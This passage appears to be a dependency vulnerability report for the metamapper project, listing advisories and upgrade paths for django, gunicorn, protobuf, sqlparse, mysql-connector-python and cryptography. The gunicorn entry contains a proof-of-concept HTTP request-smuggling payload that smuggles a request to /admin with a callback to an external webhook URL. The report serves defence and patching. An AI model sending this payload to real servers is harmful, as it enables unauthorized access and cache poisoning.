    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the HttpResponseRedirect and HttpResponsePermanentRedirect functions when processing inputs containing a very large number of Unicode characters, due to slow NFKC normalization on Windows. An attacker can cause excessive resource consumption and disrupt service availability.

Note: This is only exploitable on Windows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Django to version 4.2.26, 5.1.14, 5.2.8 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.27.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the getInnerText() function. An attacker can exhaust CPU and memory resources by submitting deeply nested XML input to the XML deserializer, which is processed in quadratic time per character.

Remediation

Upgrade Django to version 4.2.27, 5.1.15, 5.2.9 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: gunicorn
  • Introduced through: gunicorn@20.1.0

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper gunicorn@20.1.0
    Remediation: Upgrade to gunicorn@23.0.0.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of the Transfer-Encoding header. An attacker can manipulate session data, poison caches, or compromise data integrity by exploiting the fallback to Content-Length when Transfer-Encoding is not correctly handled.

PoC

POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip

73

GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169

0

Remediation

Upgrade gunicorn to version 23.0.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: protobuf@3.20.0, googleapis-common-protos@1.56.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper protobuf@3.20.0
    Remediation: Upgrade to protobuf@4.25.8.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to googleapis-common-protos@1.62.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to proto-plus@1.23.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 protobuf@3.20.0
    Remediation: Upgrade to grpcio-status@1.57.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper mysql-connector-python@8.0.28 protobuf@3.20.0
    Remediation: Upgrade to mysql-connector-python@8.2.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper grpcio-status@1.44.0 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to grpcio-status@1.57.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery-storage@2.23.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 proto-plus@1.20.3 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 googleapis-common-protos@1.56.0 protobuf@3.20.0
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: sqlparse
  • Introduced through: sqlparse@0.4.2, django@3.2.12 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sqlparse@0.4.2
    Remediation: Upgrade to sqlparse@0.5.4.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sql-metadata@2.6.0 sqlparse@0.4.2
    Remediation: Upgrade to sql-metadata@2.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12 sqlparse@0.4.2
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via algorithmic complexity in the SQL parsing logic. The parser fails to enforce limits when handling deeply nested tuples or unusually large token sequences, allowing an attacker to submit crafted SQL statements with extreme nesting depth or token counts. This causes excessive CPU and memory consumption, leading to service slowdown or outage.

Note: This vulnerability exists due to an incomplete fix for CVE-2024-4340.

Remediation

Upgrade sqlparse to version 0.5.4 or higher.

References

high severity

Access Control Bypass

  • Vulnerable module: mysql-connector-python
  • Introduced through: mysql-connector-python@8.0.28

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper mysql-connector-python@8.0.28
    Remediation: Upgrade to mysql-connector-python@9.1.0.

Overview

mysql-connector-python is a MySQL driver written in Python which does not depend on MySQL C client libraries and implements the DB API v2.0 specification (PEP-249).

Affected versions of this package are vulnerable to Access Control Bypass via multiple protocols. An attacker can take over the MySQL Connectors by exploiting network access with low privileges.

Remediation

Upgrade mysql-connector-python to version 9.1.0 or higher.

References

high severity

Buffer Overflow

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@38.0.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Buffer Overflow. A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking by the ossl_punycode_decode function.

Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution.

In a TLS client, this can be triggered by connecting to a malicious server.

In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects.

A full break down of this vulnerability can be found in our technical deep dive.

Note: Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible.

Changelog

November 1, 2022 - Advisory published.

November 2, 2022 - Node.js listed as affected, in advance of fix.

November 5, 2022 - Node.js fixed versions added.

Remediation

Upgrade cryptography to version 38.0.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null pointer dereference in when signatures are being verified on PKCS7 signed or signedAndEnveloped data in pkcs7/pk7_doit.c. If the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

high severity

Observable Timing Discrepancy

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@42.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Observable Timing Discrepancy. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data (Marvin).

Note:

This vulnerability exists due to an incomplete fix for CVE-2020-25659.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.17.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to the parsed values of Accept-Language headers which are cached, in order to avoid repetitive parsing. If the raw value of Accept-Language headers is very large, this will cause excessive memory usage.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.17, 4.0.9, 4.1.6 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.18.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data in http/multipartparser.py. An attacker can trigger the opening of a large number of uploaded files which are not subsequently closed, consuming memory or filehandling resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.18, 4.0.10, 4.1.7 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.21.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the django.utils.encoding.uri_to_iri() function when processing inputs with a large number of Unicode characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.21, 4.1.11, 4.2.5 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.24.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the intcomma template filter, when used with very long strings. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

